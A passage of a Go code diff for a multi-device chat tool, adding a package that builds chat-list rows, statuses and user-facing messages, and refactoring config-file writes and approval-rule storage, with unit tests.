fmt.Sprintf(verbFrom, VerbFor(r), r.Device) } diff --git a/internal/chatlist/devices_test.go b/internal/chatlist/devices_test.go new file mode 100644 index 0000000000..73ecd20618 --- /dev/null +++ b/internal/chatlist/devices_test.go @@ -0,0 +1,40 @@ +package chatlist + +import ( + "errors" + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +func TestDevicesListSelfFirstSkipRevokedAndMarkPresence(t *testing.T) { + l := directory.Listing{Devices: map[string]directory.Device{ + "dev_b": {Name: "b64-spark"}, "dev_a": {Name: "b64-dumb"}, + "dev_me": {Platform: "darwin"}, "dev_gone": {Revoked: true}, + }} + open := func(s string) (string, error) { + if s == "b64-spark" { + return "spark", nil + } + if s == "b64-dumb" { + return "dumb", nil + } + return "", errors.New("no") + } + got := Devices(l, "dev_me", open) + if len(got) != 3 || got[0].Name != "This Mac" || got[1].Name != "dumb" || got[2].Name != "spark" { + t.Fatalf("devices %+v", got) + } + if got[0].Mark(false) != "● This Mac" || got[2].Mark(true) != "● spark" || got[1].Mark(false) != "○ dumb (offline)" { + t.Fatalf("marks %q %q %q", got[0].Mark(false), got[2].Mark(true), got[1].Mark(false)) + } +} + +func TestVerbsFollowTheChatsStatus(t *testing.T) { + if VerbFor(Row{Status: Running}) != MoveHere || VerbFor(Row{Status: Off}) != ContinueVerb { + t.Fatal("wrong verb") + } + if got := VerbFrom(Row{Status: Running, Device: "spark"}); got != "Move here from spark" { + t.Fatal(got) + } +} diff --git a/internal/chatlist/offer.go b/internal/chatlist/offer.go new file mode 100644 index 0000000000..ad1d50c072 --- /dev/null +++ b/internal/chatlist/offer.go @@ -0,0 +1,34 @@ +package chatlist + +// OfferKind is what a person may do with a row. +type OfferKind int + +const ( + Open OfferKind = iota + ContinueHere + Merge +) + +// Offer is the action a row invites and its exact copy. +type Offer struct { + Kind OfferKind + Line string +} + +// offers maps each status to its offer; a table keeps OfferFor free of +// branching. Idle and Here open the chat with nothing said. A chat running on +// another device is continued like one that went off: the person who opens it +// decides it moves, and the takeover screen says where it runs now. +var offers = map[Status]func(Row) Offer{ + Off: func(Row) Offer { return Offer{ContinueHere, OfferContinue} }, + Running: func(Row) Offer { return Offer{ContinueHere, OfferContinue} }, + Branch: func(r Row) Offer { return Offer{Merge, StatusLine(r)} }, +} + +// OfferFor says what to offer for a row. +func OfferFor(r Row) Offer { + if f, ok := offers[r.Status]; ok { + return f(r) + } + return Offer{Kind: Open} +} diff --git a/internal/chatlist/offer_test.go b/internal/chatlist/offer_test.go new file mode 100644 index 0000000000..555e762da3 --- /dev/null +++ b/internal/chatlist/offer_test.go @@ -0,0 +1,157 @@ +package chatlist + +import ( + "strings" + "testing" + "time" +) + +func TestOfferCopy(t *testing.T) { + cases := []struct { + row Row + want Offer + }{ + {Row{Status: Off, Device: "studio"}, Offer{ContinueHere, "continue here"}}, + {Row{Status: Running, Device: "studio"}, Offer{ContinueHere, "continue here"}}, + {Row{Status: Branch, Device: "studio", OrphanTurns: 3}, Offer{Merge, "3 turns from studio: merge / discard"}}, + {Row{Status: Idle}, Offer{Kind: Open}}, + {Row{Status: Here}, Offer{Kind: Open}}, + } + for _, tc := range cases { + if got := OfferFor(tc.row); got != tc.want { + t.Errorf("%s: got %+v, want %+v", tc.row.Status, got, tc.want) + } + } +} + +func TestStatusLineCopy(t *testing.T) { + cases := map[Status]string{ + Running: "running on studio", + Off: "studio offline", + Branch: "2 turns from studio: merge / discard", + Idle: "", + Here: "", + } + for st, want := range cases { + if got := StatusLine(Row{Status: st, Device: "studio", OrphanTurns: 2}); got != want { + t.Errorf("%s: got %q, want %q", st, got, want) + } + } +} + +func TestTakeoverLineOmitsClauseAtZero(t *testing.T) { + r := Row{Device: "studio", DurableAgo: 42*time.Second + 900*time.Millisecond, Pending: 3} + if got, want := TakeoverLine(r), "last saved turn 42s ago; up to 3 turns may still be on studio"; got != want { + t.Fatalf("got %q", got) + } + r.Pending = 0 + if got, want := TakeoverLine(r), "last saved turn 42s ago"; got != want { + t.Fatalf("got %q", got) + } +} + +// A chat that runs now says where before how fresh the copy is, because +// continuing it here stops it there. +func TestTakeoverLineNamesTheDeviceARunningChatIsOn(t *testing.T) { + r := Row{Status: Running, Device: "studio", DurableAgo: 12 * time.Second} + if got, want := TakeoverLine(r), "running on studio; last saved turn 12s ago"; got != want { + t.Fatalf("got %q, want %q", got, want) + } +} + +func TestCopiesCameSaysNothingForNone(t *testing.T) { + for names, want := range map[string]string{ + "": "", + "n1": "the working copy of a task came along: n1", + "n1,n2": "working copies of tasks came along: n1, n2", + } { + var in []string + if names != "" { + in = strings.Split(names, ",") + } + if got := CopiesCame(in); got != want { + t.Errorf("CopiesCame(%v) = %q, want %q", in, got, want) + } + } +} + +func TestFrozenSentences(t *testing.T) { + if got := KeptEdits(2, "studio"); got != "your unsaved edits here were kept as 2 turns from studio" { + t.Error(got) + } + if got := Superseded("studio"); got != "studio continued this chat; this window now only shows it" { + t.Error(got) + } + for got, want := range map[string]string{ + NoIdentity: "this machine has no identity yet: codeaf identity import", + Unreachable: "other machines unreachable", + ClockOff: "this computer's clock is off by more than 5 minutes", + ReplacedGone: "your identity was replaced and sync has deleted the old one; pair this computer again (/pair on a computer that has the new one)", + Replaced: "your chats are moving to a new identity; when that is done, pair this computer again (/pair on the computer that moved them)", + Removed: "this device was removed by another of your devices, so this chat stays here only — run `codeaf pair` to bring it back", + SlowDown: "sync is asking this computer to slow down; new turns stay here and go up as soon as it allows", + TooManyNew: "this network has started too many new identities today; sync begins when it allows more", + } { + if got != want { + t.Errorf("got %q want %q", got, want) + } + } +} + +func TestRelayFullNamesTheCeilingOnlyWhenTheRelayDid(t *testing.T) { + for limit, want := range map[int64]string{ + 0: "your sync space is full, so new turns stay on this computer; free space there and reopen this chat", + 5 << 30: "your sync space is full (5 GiB), so new turns stay on this computer; free space there and reopen this chat", + 3 << 29: "your sync space is full (1.5 GiB), so new turns stay on this computer; free space there and reopen this chat", + 512 << 20: "your sync space is full (512 MiB), so new turns stay on this computer; free space there and reopen this chat", + } { + if got := RelayFull(limit); got != want { + t.Errorf("RelayFull(%d) = %q, want %q", limit, got, want) + } + } +} + +func TestMovedSaysTheMeasuredTime(t *testing.T) { + got := Moved("spark", 3200*time.Millisecond, true) + want := "Moved from spark in 3.2s. Everything as you left it. What was running there can start again here." + if got != want { + t.Fatalf("got %q", got) + } + if got := Moved("", 1500*time.Millisecond, false); got != "Moved here in 1.5s. Everything as you left it." { + t.Fatalf("got %q", got) + } +} + +// A chat whose holder is offline stopped; its sentence does not say it runs. +func TestTakeoverLineOfAQuietRowDoesNotSayRunning(t *testing.T) { + r := Row{Status: Running, Device: "build-box", DurableAgo: 15 * time.Second}.Quiet() + if got, want := TakeoverLine(r), "last saved turn 15s ago"; got != want { + t.Fatalf("got %q, want %q", got, want) + } +} + +func TestTakeoverLineSpellsAgeInReadableUnits(t *testing.T) { + for age, want := range map[time.Duration]string{ + 42 * time.Second: "42s", 90 * time.Second: "1m", 3 * time.Hour: "3h", 50 * time.Hour: "2d", + } { + if got := TakeoverLine(Row{DurableAgo: age}); got != "last saved turn "+want+" ago" { + t.Errorf("%v: %q", age, got) + } + } +} + +func TestTooManyNewNamesWhenTheDayFreesUp(t *testing.T) { + for wait, want := range map[time.Duration]string{ + 0: TooManyNew, + 20 * time.Second: "too many new identities from this network today — try again in about a minute", + time.Minute + time.Second: "too many new identities from this network today — try again in about 2 minutes", + 45 * time.Minute: "too many new identities from this network today — try again in about 45 minutes", + time.Hour: "too many new identities from this network today — try again in about an hour", + time.Hour + time.Second: "too many new identities from this network today — try again in about 2 hours", + 2*time.Hour + 30*time.Minute: "too many new identities from this network today — try again in about 3 hours", + } { + if got := TooManyNewIn(wait); got != want { + t.Errorf("wait %v: got %q want %q", wait, got, want) + } + } +} diff --git a/internal/chatlist/rows.go b/internal/chatlist/rows.go new file mode 100644 index 0000000000..875af0a4ec --- /dev/null +++ b/internal/chatlist/rows.go @@ -0,0 +1,181 @@ +// Package chatlist turns the directory's listing into the rows a person sees +// and the sentences that go with them. It is pure: no clock, no network, no +// terminal. The home screen and `codeaf cell list --all` both draw from it, so +// the copy in copy.go is the one source of truth for both. +package chatlist + +import ( + "context" + "sort" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/devname" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// Status is where a chat is running, from one device's point of view. +type Status string + +const ( + Here Status = "here" // this device holds the live lease + Running Status = "running" // another device holds a live lease + Off Status = "off" // expired and never released: the holder died or slept + Idle Status = "idle" // released + Branch Status = "branch" // OrphanTurns > 0, not archived +) + +// Row is one chat as the list shows it. +type Row struct { + Cell, Title, Device, DeviceID, Parent string + Status Status + DurableAgo time.Duration // Listing.Now - DurableAt, directory clock only + DurableAt int64 // directory ms of the last durable turn: the fact DurableAgo is read from + Pending, OrphanTurns uint32 + // Mine says this device was the chat's last holder, so a lapsed lease is + // this device's own to pick up and not another device's work gone quiet. + Mine bool +} + +// Quiet is the row of a chat whose live holder has gone: a lease that still +// runs on a device that is no longer online is a chat that stopped, so it reads +// as one that went off (`studio offline`), not `running on studio`. +func (r Row) Quiet() Row { + if r.Status == Running { + r.Status = Off + } + return r +} + +// Opener opens a sealed name with the metadata key. +type Opener func(sealed string) (string, error) + +// Source is anything that can list chats across machines. +type Source interface { + Rows(ctx context.Context) ([]Row, error) +} + +// Versioned is a Source that can also say which directory version its answer +// was read at, so a screen following the change feed can tell a frame it has +// already read past from one that is news. +type Versioned interface { + Source + RowsAt(ctx context.Context) ([]Row, uint64, error) +} + +// RowsAt reads src and reports the version it was read at, or 0 when the +// source does not keep versions. +func RowsAt(ctx context.Context, src Source) ([]Row, uint64, error) { + if v, ok := src.(Versioned); ok { + return v.RowsAt(ctx) + } + rows, err := src.Rows(ctx) + return rows, 0, err +} + +// Static is the fake Source: it always answers with itself. +type Static []Row + +// Rows implements Source. +func (s Static) Rows(context.Context) ([]Row, error) { return []Row(s), nil } + +const ( + untitled = "untitled" + devPrefix = "dev_" + idPrefix = 8 +) + +// Rows builds the list from a directory listing. self is this device's id. +// Archived cells are hidden; the newest durable turn comes first and ties +// break by cell id so the order never flickers. +func Rows(l directory.Listing, self string, open Opener) []Row { + rows := make([]Row, 0, len(l.Cells)) + for id, c := range l.Cells { + if !c.Archived { + rows = append(rows, rowOf(id, c, l, self, open)) + } + } + sort.Slice(rows, func(i, j int) bool { return newer(rows[i], rows[j]) }) + return rows +} + +// newer orders by smaller DurableAgo (a newer turn), then by cell id. +func newer(a, b Row) bool { + if a.DurableAgo != b.DurableAgo { + return a.DurableAgo < b.DurableAgo + } + return a.Cell < b.Cell +} + +func rowOf(id string, c directory.Cell, l directory.Listing, self string, open Opener) Row { + return Row{ + Cell: id, + Title: nameOr(open, c.Title, untitled), + Device: deviceName(l.Devices, c.Lease.Device, open), + DeviceID: c.Lease.Device, + Parent: c.ParentCell, + Status: heldStatus(c, l, self), + Mine: c.Lease.Device == self, + DurableAgo: time.Duration(l.Now-c.DurableAt) * time.Millisecond, + DurableAt: c.DurableAt, + Pending: c.Lease.Pending, + OrphanTurns: c.OrphanTurns, + } +} + +// heldStatus is the chat's status, except that a lease held by a revoked device +// is no lease: that device can no longer release it or be reached, so the chat +// reads as released and is never offered as running or lapsed elsewhere. +func heldStatus(c directory.Cell, l directory.Listing, self string) Status { + st := statusOf(c, l.Now, self) + if holder, ok := l.Devices[c.Lease.Device]; ok && holder.Revoked && (st == Running || st == Off) { + return Idle + } + return st +} + +// statusOf applies the precedence Branch, Here, Running, Off, Idle. +func statusOf(c directory.Cell, now int64, self string) Status { + switch { + case c.OrphanTurns > 0: + return Branch + case c.Lease.Expires > now && c.Lease.Device == self: + return Here + case c.Lease.Expires > now: + return Running + case c.Lease.Expires != 0: + return Off + } + return Idle +} + +// DeviceName is the name of device id as the list shows it, for the surfaces +// that name a device outside a row. +func DeviceName(devs map[string]directory.Device, id string, open Opener) string { + return deviceName(devs, id, open) +} + +// deviceName opens the holder's sealed name; a name that will not open, or a +// device the listing does not know, shows the first hex digits of its id. +func deviceName(devs map[string]directory.Device, id string, open Opener) string { + return devname.Shown(nameOr(open, devs[id].Name, shortID(id))) +} + +func shortID(id string) string { + hex := strings.TrimPrefix(id, devPrefix) + if len(hex) > idPrefix { + hex = hex[:idPrefix] + } + return hex +} + +// nameOr opens a sealed name and falls back when it is empty or will not open. +func nameOr(open Opener, sealed, fallback string) string { + if sealed == "" { + return fallback + } + if s, err := open(sealed); err == nil && s != "" { + return s + } + return fallback +} diff --git a/internal/chatlist/rows_test.go b/internal/chatlist/rows_test.go new file mode 100644 index 0000000000..268ae45b35 --- /dev/null +++ b/internal/chatlist/rows_test.go @@ -0,0 +1,154 @@ +package chatlist + +import ( + "errors" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +const self = "dev_" + "aaaaaaaabbbbbbbbccccccccdddddddd" +const other = "dev_" + "11223344556677889900aabbccddeeff" + +// plain is an Opener that treats every sealed name as already open. +func plain(s string) (string, error) { return s, nil } + +func listing(cells map[string]directory.Cell) directory.Listing { + return directory.Listing{ + Now: 1_000_000, + Devices: map[string]directory.Device{ + self: {Name: "laptop"}, + other: {Name: "studio"}, + }, + Cells: cells, + } +} + +func cell(dev string, expires int64, mut func(*directory.Cell)) directory.Cell { + c := directory.Cell{Title: "t", DurableAt: 990_000, Lease: directory.Lease{Device: dev, Expires: expires}} + if mut != nil { + mut(&c) + } + return c +} + +func TestRowsStatusTable(t *testing.T) { + live, dead := int64(1_010_000), int64(900_000) + cases := []struct { + name string + c directory.Cell + want Status + }{ + {"here", cell(self, live, nil), Here}, + {"running", cell(other, live, nil), Running}, + {"off", cell(other, dead, nil), Off}, + {"idle", cell(other, 0, nil), Idle}, + {"branch beats here", cell(self, live, func(c *directory.Cell) { c.OrphanTurns = 2 }), Branch}, + {"branch beats idle", cell(other, 0, func(c *directory.Cell) { c.OrphanTurns = 1 }), Branch}, + {"expiry exactly now is off", cell(other, 1_000_000, nil), Off}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + rows := Rows(listing(map[string]directory.Cell{"c1": tc.c}), self, plain) + if len(rows) != 1 || rows[0].Status != tc.want { + t.Fatalf("got %+v, want status %s", rows, tc.want) + } + }) + } +} + +func TestRowsUseDirectoryClock(t *testing.T) { + // Rows takes no wall clock at all, so the age is the directory's alone. + rows := Rows(listing(map[string]directory.Cell{"c1": cell(other, 0, nil)}), self, plain) + if got := rows[0].DurableAgo; got != 10*time.Second { + t.Fatalf("DurableAgo = %v, want 10s", got) + } +} + +func TestRowWithUnknownDevice(t *testing.T) { + l := listing(map[string]directory.Cell{"c1": cell("dev_deadbeef00112233445566778899aabb", 1_010_000, nil)}) + r := Rows(l, self, plain)[0] + if r.Device != "deadbeef" || r.Status != Running { + t.Fatalf("got %+v", r) + } +} + +func TestRowNamesThatFailToOpen(t *testing.T) { + bad := func(string) (string, error) { return "", errors.New("wrong key") } + r := Rows(listing(map[string]directory.Cell{"c1": cell(other, 1_010_000, nil)}), self, bad)[0] + if r.Title != "untitled" || r.Device != "11223344" { + t.Fatalf("got title %q device %q", r.Title, r.Device) + } +} + +func TestRowsOrder(t *testing.T) { + at := func(ms int64) directory.Cell { + return cell(other, 0, func(c *directory.Cell) { c.DurableAt = ms }) + } + rows := Rows(listing(map[string]directory.Cell{ + "b": at(500_000), "a": at(500_000), "new": at(900_000), "old": at(100_000), + }), self, plain) + var got []string + for _, r := range rows { + got = append(got, r.Cell) + } + want := []string{"new", "a", "b", "old"} + for i := range want { + if got[i] != want[i] { + t.Fatalf("order %v, want %v", got, want) + } + } +} + +func TestArchivedHidden(t *testing.T) { + arch := cell(other, 0, func(c *directory.Cell) { c.Archived, c.OrphanTurns = true, 3 }) + rows := Rows(listing(map[string]directory.Cell{"gone": arch, "kept": cell(other, 0, nil)}), self, plain) + if len(rows) != 1 || rows[0].Cell != "kept" { + t.Fatalf("got %+v", rows) + } +} + +func TestRowsCarryCounts(t *testing.T) { + c := cell(other, 1_010_000, func(c *directory.Cell) { c.Lease.Pending, c.ParentCell = 4, "p1" }) + r := Rows(listing(map[string]directory.Cell{"c": c}), self, plain)[0] + if r.Pending != 4 || r.Parent != "p1" || r.DeviceID != other { + t.Fatalf("got %+v", r) + } +} + +func TestStaticIsASource(t *testing.T) { + var s Source = Static{{Cell: "x"}} + rows, err := s.Rows(t.Context()) + if err != nil || len(rows) != 1 { + t.Fatalf("got %v %v", rows, err) + } +} + +// A CHAT HELD BY A REVOKED DEVICE IS NOT RUNNING OR LAPSED THERE: that device +// cannot release it and nobody can continue it, so it reads as released. +func TestAChatHeldByARevokedDeviceReadsAsReleased(t *testing.T) { + l := listing(map[string]directory.Cell{ + "live": cell(other, 1_010_000, nil), + "dead": cell(other, 900_000, nil), + }) + l.Devices[other] = directory.Device{Name: "studio", Revoked: true} + for _, r := range Rows(l, self, plain) { + if r.Status != Idle { + t.Errorf("%s: status %s, want %s", r.Cell, r.Status, Idle) + } + } +} + +// A device record sealed before names went through devname still carries the +// macOS ".local" suffix; every label that reads it must show the same name. +func TestEveryLabelOfADeviceDropsTheLocalSuffix(t *testing.T) { + l := listing(map[string]directory.Cell{"c1": cell(other, 1_010_000, nil)}) + l.Devices[other] = directory.Device{Name: "studio.local"} + if r := Rows(l, self, plain)[0]; r.Device != "studio" { + t.Errorf("row shows %q", r.Device) + } + if got := DeviceName(l.Devices, other, plain); got != "studio" { + t.Errorf("DeviceName shows %q", got) + } +} diff --git a/internal/chatlist/same.go b/internal/chatlist/same.go new file mode 100644 index 0000000000..daf824bf74 --- /dev/null +++ b/internal/chatlist/same.go @@ -0,0 +1,27 @@ +package chatlist + +// Same reports whether two listings say the same thing about the chats. +// +// DurableAgo is left out on purpose: it is measured against the directory's +// clock at the moment of the read, so it differs between two reads of an +// unchanged list. DurableAt is the fact it comes from, and it is compared, so a +// turn that landed in between still counts as a change. This is how a client +// tells an unchanged answer without any help from the wire, which carries no +// version or etag. +func Same(a, b []Row) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if timeless(a[i]) != timeless(b[i]) { + return false + } + } + return true +} + +// timeless is a row with the read-time-dependent age taken out. +func timeless(r Row) Row { + r.DurableAgo = 0 + return r +} diff --git a/internal/chatlist/same_test.go b/internal/chatlist/same_test.go new file mode 100644 index 0000000000..d8b3f03bdf --- /dev/null +++ b/internal/chatlist/same_test.go @@ -0,0 +1,18 @@ +package chatlist + +import ( + "testing" + "time" +) + +func TestSameIgnoresReadTimeButNotTheTurn(t *testing.T) { + a := []Row{{Cell: "c", Status: Idle, DurableAt: 100, DurableAgo: time.Second}} + sameLater := []Row{{Cell: "c", Status: Idle, DurableAt: 100, DurableAgo: time.Minute}} + newTurn := []Row{{Cell: "c", Status: Idle, DurableAt: 200, DurableAgo: time.Second}} + if !Same(a, sameLater) { + t.Fatal("two reads of an unchanged list differed") + } + if Same(a, newTurn) || Same(a, nil) { + t.Fatal("a new turn or a missing row counted as unchanged") + } +} diff --git a/internal/config/apikey.go b/internal/config/apikey.go index 772a90c814..270008cf11 100644 --- a/internal/config/apikey.go +++ b/internal/config/apikey.go @@ -2,9 +2,7 @@ package config import ( "encoding/json" - "fmt" "os" - "path/filepath" "strings" "github.com/Agent-Field/codeaf/internal/modelsource" @@ -79,54 +77,3 @@ func WriteAPIKey(profileDir, key string) error { func LooksLikeAPIKey(key string) bool { return modelsource.LooksLikeAPIKey(key) } - -// EnsurePersistedAPIKey copies the session's environment key into the profile -// config exactly once, so the standing watch can authenticate after the shell -// that ratified it is gone. It never overwrites a key already on disk, and the -// file ends owner-readable only. Returns whether a key was newly persisted and -// the path that holds it. -func EnsurePersistedAPIKey(profileDir string) (bool, string, error) { - path := BudgetConfigPath(profileDir) - if PersistedAPIKey(profileDir) != "" { - return false, path, nil - } - key := strings.TrimSpace(firstNonEmpty(os.Getenv(APIKeyEnv), os.Getenv("OPENAI_API_KEY"))) - if key == "" { - return false, path, nil - } - - values := map[string]json.RawMessage{} - if raw, err := os.ReadFile(path); err == nil { - if err := json.Unmarshal(raw, &values); err != nil { - return false, path, fmt.Errorf("persist api key: existing config is not valid JSON: %w", err) - } - } else if !os.IsNotExist(err) { - return false, path, fmt.Errorf("persist api key: %w", err) - } - encoded, err := json.Marshal(key) - if err != nil { - return false, path, fmt.Errorf("persist api key: %w", err) - } - values[KeyAPIKey] = encoded - - if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { - return false, path, fmt.Errorf("persist api key: %w", err) - } - body, err := json.MarshalIndent(values, "", " ") - if err != nil { - return false, path, fmt.Errorf("persist api key: %w", err) - } - temporaryPath := path + ".tmp" - if err := os.WriteFile(temporaryPath, append(body, '\n'), 0o600); err != nil { - return false, path, fmt.Errorf("persist api key: %w", err) - } - if err := os.Rename(temporaryPath, path); err != nil { - _ = os.Remove(temporaryPath) - return false, path, fmt.Errorf("persist api key: %w", err) - } - // The file now carries a secret; tighten it even if it predated the key. - if err := os.Chmod(path, 0o600); err != nil { - return true, path, fmt.Errorf("persist api key: chmod: %w", err) - } - return true, path, nil -} diff --git a/internal/config/apikey_test.go b/internal/config/apikey_test.go index c7b6077a41..d5aedd43ba 100644 --- a/internal/config/apikey_test.go +++ b/internal/config/apikey_test.go @@ -1,7 +1,6 @@ package config import ( - "encoding/json" "os" "path/filepath" "testing" @@ -38,61 +37,3 @@ func TestPersistedAPIKeyIsTheLastRungOfLoadResolution(t *testing.T) { t.Fatalf("environment must outrank the persisted key: %q", settings.APIKey) } } - -func TestEnsurePersistedAPIKeyCopiesTheEnvKeyOnceAndTightensTheFile(t *testing.T) { - dir := t.TempDir() - path := filepath.Join(dir, "config.json") - // Pre-existing unrelated config must survive, including its budget key. - if err := os.WriteFile(path, []byte(`{"daily_budget_usd": 7.5}`), 0o644); err != nil { - t.Fatal(err) - } - t.Setenv("OPENROUTER_API_KEY", "sk-copy-me") - t.Setenv("OPENAI_API_KEY", "") - - persisted, got, err := EnsurePersistedAPIKey(dir) - if err != nil || !persisted || got != path { - t.Fatalf("persist = %v %q %v", persisted, got, err) - } - info, err := os.Stat(path) - if err != nil { - t.Fatal(err) - } - if info.Mode().Perm() != 0o600 { - t.Fatalf("secret-bearing config is %v, want 0600", info.Mode().Perm()) - } - raw, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) - } - var values map[string]json.RawMessage - if err := json.Unmarshal(raw, &values); err != nil { - t.Fatal(err) - } - if string(values["daily_budget_usd"]) != "7.5" { - t.Fatalf("unrelated config lost: %s", values["daily_budget_usd"]) - } - if PersistedAPIKey(dir) != "sk-copy-me" { - t.Fatalf("round trip = %q", PersistedAPIKey(dir)) - } - - // A second call with a different env key must not overwrite the stored one. - t.Setenv("OPENROUTER_API_KEY", "sk-different") - persisted, _, err = EnsurePersistedAPIKey(dir) - if err != nil || persisted { - t.Fatalf("existing key overwritten: persisted=%v err=%v", persisted, err) - } - if PersistedAPIKey(dir) != "sk-copy-me" { - t.Fatalf("stored key changed to %q", PersistedAPIKey(dir)) - } - - // No env key and nothing stored is a quiet no-op, never an error. - empty := t.TempDir() - t.Setenv("OPENROUTER_API_KEY", "") - persisted, _, err = EnsurePersistedAPIKey(empty) - if err != nil || persisted { - t.Fatalf("no-op case: persisted=%v err=%v", persisted, err) - } - if _, statErr := os.Stat(filepath.Join(empty, "config.json")); !os.IsNotExist(statErr) { - t.Fatal("no-op case must not create the config file") - } -} diff --git a/internal/config/approvalmemory.go b/internal/config/approvalmemory.go index 6b036d966f..cc8aae2ca7 100644 --- a/internal/config/approvalmemory.go +++ b/internal/config/approvalmemory.go @@ -34,6 +34,7 @@ package config // duplicate every time would be a row nobody can read back. import ( + "encoding/json" "fmt" "strconv" "strings" @@ -286,21 +287,34 @@ func RememberBashApproval(profileDir, match string) error { if !bashShapeHolds(match) { return fmt.Errorf("%q names no command to allow", match) } - raw := BashApprovalsAt(profileDir) - rules, err := ParseBashApprovals(raw) + return editProfile(profileDir, KeyBashApprovals, func(map[string]json.RawMessage) (profileChange, error) { + return rememberedApproval(profileDir, match) + }) +} + +// rememberedApproval is the change that adds an allow rule for match to the rules +// as they stand now. It runs inside the profile write, so the rules it appends +// to include any a concurrent writer stored a moment ago. A command that an +// allow already answers changes nothing. +func rememberedApproval(profileDir, match string) (profileChange, error) { + rules, err := ParseBashApprovals(BashApprovalsAt(profileDir)) if err != nil { - return fmt.Errorf("settings row %q: %w", KeyBashApprovals, err) + return profileChange{}, fmt.Errorf("settings row %q: %w", KeyBashApprovals, err) } policy := approval.Policy{BashPatterns: asApprovalRules(rules)} if rule, matched := policy.MatchRule(match); matched { if rule.Action == approval.ActionAllow { - return nil + return profileChange{}, nil } - return fmt.Errorf("settings row %q already answers this command with %s (%q)", + return profileChange{}, fmt.Errorf("settings row %q already answers this command with %s (%q)", KeyBashApprovals, rule.Action, rule.Match) } rules = append(rules, BashRule{Match: match, Action: string(approval.ActionAllow)}) - return writeBashApprovals(profileDir, FormatBashApprovals(rules)) + text := strings.TrimSpace(FormatBashApprovals(rules)) + if _, err := ParseBashApprovals(text); err != nil { + return profileChange{}, err + } + return encodeChange(map[string]any{KeyBashApprovals: text}) } // asApprovalRules is the one conversion between the row's rules and the policy's. diff --git a/internal/config/budget.go b/internal/config/budget.go index d60e4bc4b4..ec619403e9 100644 --- a/internal/config/budget.go +++ b/internal/config/budget.go @@ -128,33 +128,78 @@ var removeProfileKey = profileKeyRemoval{} // spell a removal any other way. type profileKeyRemoval struct{} -func writeProfileValues(profileDir string, updates map[string]any) error { - if len(updates) == 0 { - return nil - } - // The key in the error messages is a DETERMINISTIC one — a map has no order, - // and a failure that named a different row on every attempt would be a - // failure nobody could search for. - key := errorKey(updates) - encodedUpdates := make(map[string]json.RawMessage, len(updates)) - var removed []string +// profileChange is what one write does to the file: the rows it sets, already +// encoded, and the rows it takes out. +type profileChange struct { + set map[string]json.RawMessage + removed []string +} + +// encodeChange turns the caller's updates into a profileChange. A value that +// cannot be encoded is refused here, before any lock is taken, because +// user-defined marshalers do not belong inside the profile critical section. +func encodeChange(updates map[string]any) (profileChange, error) { + change := profileChange{set: make(map[string]json.RawMessage, len(updates))} for name, value := range updates { if _, remove := value.(profileKeyRemoval); remove { - removed = append(removed, name) + change.removed = append(change.removed, name) continue } - encodedValue, err := json.Marshal(value) + encoded, err := json.Marshal(value) if err != nil { - return fmt.Errorf("write config %s: %w", name, err) + return profileChange{}, fmt.Errorf("write config %s: %w", name, err) } - encodedUpdates[name] = encodedValue + change.set[name] = encoded } + return change, nil +} + +// empty reports a change that sets and removes nothing, which is not written. +func (c profileChange) empty() bool { return len(c.set) == 0 && len(c.removed) == 0 } + +// applyTo is held with the change made. THE WRITER OWNS ITS OWN MAP: +// [readProfileConfig] hands back the map its memo is holding, and adding a row +// to that map in place would rewrite what every reader in this package is about +// to be told the file says, including on the path where the write then fails. +func (c profileChange) applyTo(held map[string]json.RawMessage) map[string]json.RawMessage { + values := make(map[string]json.RawMessage, len(held)+len(c.set)) + maps.Copy(values, held) + maps.Copy(values, c.set) + for _, name := range c.removed { + delete(values, name) + } + return values +} +func writeProfileValues(profileDir string, updates map[string]any) error { + if len(updates) == 0 { + return nil + } + change, err := encodeChange(updates) + if err != nil { + return err + } + // The key in the error messages is a DETERMINISTIC one, since a map has no + // order and a failure that named a different row on every attempt would be a + // failure nobody could search for. + return editProfile(profileDir, errorKey(updates), func(map[string]json.RawMessage) (profileChange, error) { + return change, nil + }) +} + +// editProfile is THE ONE WRITER of config.json and the seam every write passes: +// under the process mutex and the cross-process file lock it reads the file as +// it is NOW, asks decide what to change given that reading, and renames the +// result into place. A caller that must compute its change from what the file +// holds (a service row's key, the list of connected services, a rule added to a +// list) does that inside decide, so it can never write back a copy it loaded +// before another writer, or another machine's restore, put something new in the +// file. Whatever decide does not name is carried over untouched. +func editProfile(profileDir, key string, decide func(held map[string]json.RawMessage) (profileChange, error)) error { // A settings write is one read-copy-rename transaction. Two surface actions // may reach it together; serializing the whole transaction keeps the second // read behind the first rename instead of letting either rename discard the - // other action. Marshal before the lock because user-defined marshalers do - // not belong inside the profile critical section. + // other action. profileWriteMu.Lock() defer profileWriteMu.Unlock() @@ -172,52 +217,47 @@ func writeProfileValues(profileDir string, updates map[string]any) error { if err != nil { return fmt.Errorf("write config: preserve existing file: %w", err) } - // THE WRITER OWNS ITS OWN MAP. [readProfileConfig] hands back the map its - // memo is holding, and adding a row to that map in place would rewrite what - // every reader in this package is about to be told the file says — including - // on the path where the write itself then fails. - values := make(map[string]json.RawMessage, len(held)+len(updates)) - maps.Copy(values, held) - for name, encodedValue := range encodedUpdates { - values[name] = encodedValue + change, err := decide(held) + if err != nil { + return err } - for _, name := range removed { - delete(values, name) + if change.empty() { + return nil } - encoded, err := json.MarshalIndent(values, "", " ") + encoded, err := json.MarshalIndent(change.applyTo(held), "", " ") if err != nil { return fmt.Errorf("write config %s: %w", key, err) } + if err := replaceProfileFile(path, append(encoded, '\n')); err != nil { + return fmt.Errorf("write config %s: %w", key, err) + } + // EVERY PERSISTED WRITE PASSES HERE, which is what makes one counter enough + // for a live reader to know its snapshot is stale (see [SettingsGeneration]). + bumpSettingsGeneration() + return nil +} + +// replaceProfileFile writes body to a temporary file beside path and renames it +// over path, so a reader sees the old file or the new one and never half of +// either. The file is owner-only from its first byte. +func replaceProfileFile(path string, body []byte) error { temporary, err := os.CreateTemp(filepath.Dir(path), ".config-*.json") if err != nil { - return fmt.Errorf("write config %s: %w", key, err) + return err } - temporaryPath := temporary.Name() - removeTemporary := true - defer func() { - if removeTemporary { - _ = os.Remove(temporaryPath) - } - }() + defer os.Remove(temporary.Name()) // a no-op once the rename has moved it if err := 